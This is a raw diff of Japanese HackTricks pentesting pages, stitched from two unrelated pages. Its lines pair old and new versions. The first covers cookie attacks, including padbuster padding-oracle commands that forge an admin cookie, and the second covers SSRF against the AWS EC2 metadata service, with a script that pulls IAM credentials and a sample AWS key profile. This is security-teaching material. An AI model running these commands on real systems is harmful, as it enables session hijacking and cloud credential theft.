* もう1つの方法は、ブラウザのゼロ/デイ脆弱性を悪用することです。 * もう1つの方法は、ブラウザのゼロデイ脆弱性を悪用することです。
* Cookie Jarオーバーフローアタックを実行することで、**HttpOnly Cookieを上書き**することが可能です: * Cookie Jarオーバーフローアタックを実行することで、**HttpOnly Cookie を上書き**することが可能です:
{% content-ref url="cookie-jar-overflow.md" %} {% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md) [cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
* [**Cookie Smuggling**](./#cookie-smuggling)攻撃を使用してこれらのCookieを外部に送信することが可能です * [**Cookie Smuggling**](./#cookie-smuggling) 攻撃を使用してこれらのCookieを外部に送信することが可能です
### Secure ### Secure
リクエストは、通常**HTTPS**を介して送信される場合にのみ、HTTPリクエストでCookieを送信します。 リクエストは、通常 **HTTPS** を介して送信される場合にのみ、HTTPリクエストでCookieを送信します。
## Cookiesの接頭辞 ## Cookies プレフィックス
`__Secure-` で始まるCookieは、HTTPSで保護されたページから設定された場合に、 `secure` フラグと共に設定する必要があります。 `__Secure-` で始まるCookieは、HTTPSで保護されたページから設定する必要があります。
`__Host-` で始まるCookieには、いくつかの条件があります: `__Host-` で始まるCookieには、いくつかの条件があります:
* `secure` フラグ設定する必要があります。 * `secure` フラグと一緒に設定する必要があります。
* HTTPSで保護されたページから発信する必要があります。 * HTTPSで保護されたページから発信する必要があります。
* ドメインを指定することは禁止されており、サブドメインに送信されることを防ぎます。 * ドメインを指定することは禁止されており、サブドメインに送信されることを防ぎます。
* これらのCookieのパスは `/` に設定する必要があります。 * これらのCookieのパスは `/` に設定する必要があります。
`__Host-` で始まるCookieは、スーパードメインやサブドメインに送信することが許可されていません。この制限、アプリケーションCookieを分離するのに役立ちます。したがって、すべてのアプリケーションCookieに `__Host-` 接頭辞を使用することは、セキュリティと分離を向上させるための良い慣行と考えられます。 `__Host-` で始まるCookieは、スーパードメインやサブドメインに送信することが許可されていません。この制限により、アプリケーションCookieを分離するのに役立ちます。したがって、すべてのアプリケーションCookieに `__Host-` プレフィックスを使用することは、セキュリティと分離を向上させるための良い慣行と考えられます。
### Cookieの上書き ### Cookieの上書き
したがって、`__Host-`接頭辞のCookieの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))のトークでは、例えば、パーサーをだまして、サブドメインから\_\_HOST-接頭辞のCookieを設定することが可能であることが示されています。たとえば、先頭に"="を追加したり、先頭と末尾に"="を追加したり...: したがって、`__Host-`接頭辞のCookieの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))のトークでは、例えば、パーサーをだまして、サブドメインから\_\_HOST-接頭辞のCookieを設定することが可能であることが示されています。たとえば、先頭に"="を追加したり、先頭と末尾に"="を追加したり...:
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
または、PHPでは、Cookie名の**先頭に他の文字を追加**することが可能で、これらの文字がアンダースコア文字に**置換される**ことで、`__HOST-` Cookieを上書きすることができました: または、PHPでは、Cookie名の**先頭に他の文字を追加**することが可能で、それらが**アンダースコアに置き換えられる**ことで、`__HOST-` Cookieを上書きすることができました:
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookie攻撃 ## Cookie攻撃
カスタムCookieに機密データが含まれている場合は、それをチェックしてください特にCTFをプレイしている場合。脆弱性がある可能性があります。 カスタムCookieに機密データが含まれている場合は、それを確認してください特にCTFをプレイしている場合。脆弱性がある可能性があります。
### Cookieのデコードと操作 ### Cookieのデコードと操作
Cookieに埋め込まれた機密データは常に検討すべきです。Base64や類似の形式でエンコードされたCookieはしばしばデコードできます。この脆弱性により、攻撃者はCookieの内容を変更し、変更したデータをCookieにエンコードして他のユーザーをなりすますことができます。 Cookieに埋め込まれた機密データは常に検証する必要があります。Base64や類似の形式でエンコードされたCookieはしばしばデコードできます。この脆弱性により、攻撃者はCookieの内容を変更し、変更したデータをCookieにエンコードして他のユーザーをなりすますことができます。
### セッションハイジャック ### セッションハイジャック
この攻撃は、ユーザーのCookieを盗んでアプリケーション内のアカウントに不正アクセスすることを含みます。盗んだCookieを使用することで、攻撃者は合法的なユーザーをなりすますことができます。 この攻撃は、ユーザーのCookieを盗んでアプリケーション内のアカウントに不正アクセスすることを目的としています。盗んだCookieを使用することで、攻撃者は合法的なユーザーをなりすますことができます。
### セッションフィクセーション ### セッションフィクセーション
@ -150,13 +150,13 @@ Cookieに埋め込まれた機密データは常に検討すべきです。Base6
### [JWT Cookies](../hacking-jwt-json-web-tokens.md) ### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
前のリンクをクリックして、JWTの欠陥について説明したページにアクセスしてください。 のリンクをクリックして、JWTの欠陥について説明したページにアクセスしてください。
Cookieで使用されるJSON Web TokensJWTも脆弱性が存在する可能性があります。JWTをハッキングするためのリンクされたドキュメントにアクセスして、潜在的な欠陥とその悪用方法についての詳細情報を入手することをお勧めします Cookieで使用されるJSON Web TokensJWTは脆弱性が存在する可能性があります。JWTをハッキングするための潜在的な欠陥やそれらを悪用する方法についての詳細情報については、リンクされたJWTのハッキングに関する文書にアクセスしてください
### クロスサイトリクエストフォージェリCSRF ### クロスサイトリクエストフォージェリCSRF
この攻撃は、現在認証されているWebアプリケーションでログインしているユーザーに、望ましくないアクションを実行させることを強制します。攻撃者は、脆弱なサイトに送信されるすべてのリクエストとに自動的に送信されるCookieを悪用することができます。 この攻撃は、現在認証されているWebアプリケーションでログインしているユーザーに、望ましくないアクションを実行させることを強制します。攻撃者は、脆弱なサイトに送信されるすべてのリクエストとともに自動的に送信されるCookieを悪用することができます。
### 空のCookie ### 空のCookie
@ -166,7 +166,7 @@ document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2" document.cookie = "b=v2"
``` ```
以下は、送信されたcookieヘッダー内の結果です`a=v1; test value; b=v2;`。興味深いことに、空の名前cookieが設定されると、他のcookieを制御する可能性があります。特定の値に空のcookieを設定することで、他のcookieを操作できます。 以下は送信されたCookieヘッダー内の結果です`a=v1; test value; b=v2;`。興味深いことに、空の名前Cookieが設定されると、他のCookieを制御する可能性があります。特定の値に空のCookieを設定することで、他のCookieを操作できます。
```js ```js
function setCookie(name, value) { function setCookie(name, value) {
document.cookie = `${name}=${value}`; document.cookie = `${name}=${value}`;
@ -182,11 +182,11 @@ Chromeでは、設定されたクッキーにUnicodeサロゲートコードポ
```js ```js
document.cookie = "\ud800=meep"; document.cookie = "\ud800=meep";
``` ```
これにより、`document.cookie` が空の文字列を出力し、永続的な破損を示します。 これにより、`document.cookie` が空の文字列を出力し、永続的な破損が示されます。
#### パーシングの問題によるCookieスマグリング #### パーシングの問題によるCookieスマグリング
(詳細は[オリジナルリサーチ](https://blog.ankursundara.com/cookie-bugs/)を参照してくださいJavaJetty、TomCat、UndertowおよびPythonZope、cherrypy、web.py、aiohttp、bottle、webobを含むいくつかのWebサーバーは、古いRFC2965サポートのためにCookie文字列を誤処理します。ダブルクォートで囲まれたCookie値を、通常はキーと値を区切るはずのセミコロンを含んでいても、単一の値として読み取ります。 (詳細は[オリジナルリサーチ](https://blog.ankursundara.com/cookie-bugs/)を参照してくださいJavaJetty、TomCat、UndertowおよびPythonZope、cherrypy、web.py、aiohttp、bottle、webobを含むいくつかのWebサーバーは、古いRFC2965サポートのためにCookie文字列を誤処理します。セミコロンを含むダブルクォートで囲まれたCookie値を、通常はキーと値のペアを区切るはずのセミコロンを含む単一の値として読み取ります。
``` ```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
@ -198,7 +198,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
- Zopeは、次のクッキーの解析を開始するためにコンマを探します。 - Zopeは、次のクッキーの解析を開始するためにコンマを探します。
- Pythonのクッキークラスは、スペース文字で解析を開始します。 - Pythonのクッキークラスは、スペース文字で解析を開始します。
この脆弱性は、クッキーをベースにしたCSRF保護に依存するWebアプリケーションにとって特に危険であり、攻撃者がスプーフィングされたCSRFトークンクッキーを注入し、セキュリティ対策を迂回する可能性があります。この問題は、Pythonが重複するクッキー名の処理によって悪化し、最後の出現が以前のものを上書きします。また、安全でないコンテキストでの`__Secure-`および`__Host-`クッキーに対する懸念を引き起こし、スプーフィングに対して脆弱なバックエンドサーバーにクッキーが渡されると認可バイパスが発生する可能性があります。 この脆弱性は、クッキーをベースにしたCSRF保護に依存するWebアプリケーションにおいて特に危険であり、攻撃者がスプーフィングされたCSRFトークンクッキーを注入し、セキュリティ対策を迂回する可能性があります。この問題は、Pythonが重複するクッキー名の処理によって悪化し、最後の出現が以前のものを上書きする点に関て懸念があります。また、安全でないコンテキストでの`__Secure-`および`__Host-`クッキーについても懸念があり、クッキーがスプーフィングに対して脆弱なバックエンドサーバーに渡されると認可バイパスが発生する可能性があります。
### 追加の脆弱なクッキーチェック ### 追加の脆弱なクッキーチェック
@ -207,20 +207,20 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
- **クッキー**は**ログイン**ごとに**同じ**です。 - **クッキー**は**ログイン**ごとに**同じ**です。
- ログアウトして同じクッキーを使用してみてください。 - ログアウトして同じクッキーを使用してみてください。
- 同じクッキーを使用して同じアカウントに2つのデバイスまたはブラウザでログインしようとしてみてください。 - 同じクッキーを使用して同じアカウントに2つのデバイスまたはブラウザでログインしようとしてみてください。
- クッキーに情報が含まれているかどうかを確認し、それを変更してみてください。 - クッキーに情報が含まれているか確認し、それを変更してみてください。
- ほぼ同じユーザ名で複数のアカウントを作成し、類似点が見られるかどうかを確認してください。 - ほぼ同じユーザ名で複数のアカウントを作成し、類似点が見られるかどうかを確認してください。
- 存在する場合は「**remember me**」オプションをチェックして、その動作を確認してください。存在し、脆弱である場合は、常に他のクッキーなしで「remember me」のクッキーを使用してください。 - 存在する場合は「**remember me**」オプションをチェックして、その動作を確認してください。存在し、脆弱である場合は、常に他のクッキーなしで「remember me」のクッキーを使用してください。
- パスワードを変更した後も以前のクッキーが機能するかどうかを確認してください。 - パスワードを変更した後も以前のクッキーが機能するかどうかを確認してください。
#### **高度なクッキー攻撃** #### **高度なクッキー攻撃**
ログイン時にクッキーが同じ(またはほぼ同じ)ままである場合、おそらくクッキーはアカウントのいくつかのフィールドに関連しています(おそらくユーザー名)。その場合、次のことができます: ログイン時にクッキーが同じ(またはほぼ同じ)ままである場合、おそらくクッキーはアカウントのいくつかのフィールドに関連しています(おそらくユーザ名)。その場合は次のようにできます:
- 非常に**類似したユーザ名**で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを推測してみてください。 - 非常に**類似したユーザ名**で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを推測してみてください。
- **ユーザ名をブルートフォース**してみてください。クッキーがユーザ名の認証方法としてのみ保存されている場合、ユーザ名が「**Bmin**」のアカウントを作成し、クッキーの各ビットをブルートフォースしてみてください。その中には「**admin**」に属するクッキーの1つが含まれる可能性があります。 - **ユーザ名をブルートフォース**してみてください。クッキーがユーザ名の認証方法としてのみ保存されている場合、ユーザ名が「**Bmin**」のアカウントを作成し、クッキーの各ビットをブルートフォースしてみてください。その中には「**admin**」に属するクッキーの1つが含まれる可能性があります。
- **パディング** **オラクル**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。 - **Padding Oracle**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
**パディングオラクル - Padbusterの例** **Padding Oracle - Padbusterの例**
```bash ```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]> padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64 # When cookies and regular Base64
@ -230,15 +230,15 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
``` ```
Padbusterは複数の試行を行い、どの条件がエラー条件(無効な条件)であるかを尋ねます。 Padbusterは複数の試行を行い、どれがエラー条件であるか(無効な条件)を尋ねます。
その後、クッキーの復号化を開始します(数分かかる場合があります)。 その後、Cookieの復号化を開始します(数分かかる場合があります)。
攻撃が成功した場合、任意の文字列を暗号化してみることができます。たとえば、**user=administrator**を**暗号化**したい場合 攻撃が成功した場合、任意の文字列を暗号化してみることができます。たとえば、**user=administrator**を**暗号化**したい場合
``` ```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
``` ```
この実行では、文字列**user=administrator**が含まれたクッキーが正しく暗号化およびエンコードされます。 この実行では、**user=administrator** という文字列が含まれたクッキーが正しく暗号化およびエンコードされます。
**CBC-MAC** **CBC-MAC**
@ -246,22 +246,22 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**攻撃** **攻撃**
1. ユーザー名**administ**の署名を取得します = **t** 1. ユーザー名 **administ** = **t** の署名を取得します。
2. ユーザー名**rator\x00\x00\x00 XOR t**の署名を取得します = **t'** 2. ユーザー名 **rator\x00\x00\x00 XOR t** = **t'** の署名を取得します。
3. クッキーに値**administrator+t'**を設定します(**t'**は**rator\x00\x00\x00 XOR tXOR t**の有効な署名になります = **rator\x00\x00\x00** 3. クッキーに値 **administrator+t'** を設定します(**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります)。
**ECB** **ECB**
クッキーがECBを使用して暗号化されている場合、脆弱になる可能性があります。\ クッキーがECBを使用して暗号化されている場合、脆弱になる可能性があります。\
ログインするときに受け取るクッキーは常に同じでなければなりません。 ログインすると受け取るクッキーは常に同じでなければなりません。
**検出および攻撃方法:** **検出方法と攻撃方法:**
ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキーの中にパターンを見つけようとします。 ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキーの中にパターンを見つけようとします。
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」という名前のユーザーを作成し、クッキーにパターンがあるかどうかを確認しますECBは同じ鍵でブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります 例えば "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" という名前のユーザーを作成し、クッキーの中にパターンがあるかどうかを確認しますECBは同じ鍵でブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります
パターンがあるはずです(使用されるブロックのサイズで)。したがって、一連の「a」がどのように暗号化されるかを知っている場合、ユーザー名を作成できます: "a"\*(ブロックのサイズ)+"admin"。その後、クッキーから1つのブロックの「a」の暗号化されたパターンを削除できます。そして、ユーザー名「admin」のクッキーを取得できます。 パターンがあるはずです(使用されるブロックのサイズで)。したがって、一連の "a" がどのように暗号化されるかを知っている場合、ユーザー名を作成できます: "a"\*(ブロックのサイズ)+"admin"。その後、クッキーから "a" のブロックの暗号化されたパターンを削除することができます。そして、ユーザー名 "admin" のクッキーを取得できます。
## 参考文献 ## 参考文献
@ -270,20 +270,20 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
Other ways to support HackTricks: HackTricksをサポートする他の方法:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出することで、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -8,15 +8,15 @@ HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 - **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,19 +24,19 @@ HackTricksをサポートする他の方法
## AWS ## AWS
### AWS EC2環境でのSSRFの ### AWS EC2環境でのSSRFの
**メタデータ**エンドポイントは、任意のEC2マシンからアクセスでき、それに関する興味深い情報を提供します。URL `http://169.254.169.254` でアクセスできます([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。 **メタデータ**エンドポイントは、任意のEC2マシンからアクセスでき、それに関する興味深い情報を提供します。URLは`http://169.254.169.254`でアクセスできます([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
メタデータエンドポイントには**2つのバージョン**があります。**最初の**バージョンでは、**GET**リクエストを介してエンドポイントにアクセスできます(つまり、**SSRF悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダー**を送信して**PUT**リクエストで**トークン**を要求し、そのトークンを使用して別のHTTPヘッダーでメタデータにアクセスする必要がありますつまり、SSRFで悪用するのは**より複雑**です)。 メタデータエンドポイントには**2つのバージョン**があります。**最初の**バージョンでは、**GET**リクエストを介してエンドポイントにアクセスできます(つまり、**SSRF悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダー**を送信して**PUT**リクエストで**トークン**を要求し、そのトークンを使用して別のHTTPヘッダーでメタデータにアクセスする必要がありますつまり、SSRFで悪用するのは**より複雑**です)。
{% hint style="danger" %} {% hint style="danger" %}
EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**には**ホップ制限が1**があり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。 EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**には**ホップ制限が1**があり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストを**ブロック**します。これは、構成ミスのリバースプロキシがそれにアクセスできないようにするためです。 さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストを**ブロック**します。これは、誤って構成されたリバースプロキシがそれにアクセスできないようにするためです。
{% endhint %} {% endhint %}
[ドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)にメタデータエンドポイントに関する情報があります。次のスクリプトでは、それからいくつかの興味深い情報が取得されます: [ドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)にメタデータエンドポイントに関する情報があります。次のスクリプトでは、それから興味深い情報が取得されます:
```bash ```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -96,30 +96,30 @@ echo ""
echo "EC2 Security Credentials" echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
``` ```
**公開されているIAM資格情報**の例として、以下を訪れることができます:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) 以下は、**公開されているIAM資格情報**が公開された例です: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
また、公開されている**EC2セキュリティ資格情報**を以下で確認できます:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) また、公開されている**EC2セキュリティ資格情報**を確認できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
次に、**これらの資格情報をAWS CLIで使用**できます。これにより、そのロールに許可されている**何でも実行**できます。 次に、**これらの資格情報をAWS CLIで使用**できます。これにより、そのロールに許可されていることを**何でも実行**できます。
新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります 新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:
``` ```
[profilename] [profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= aws_session_token = 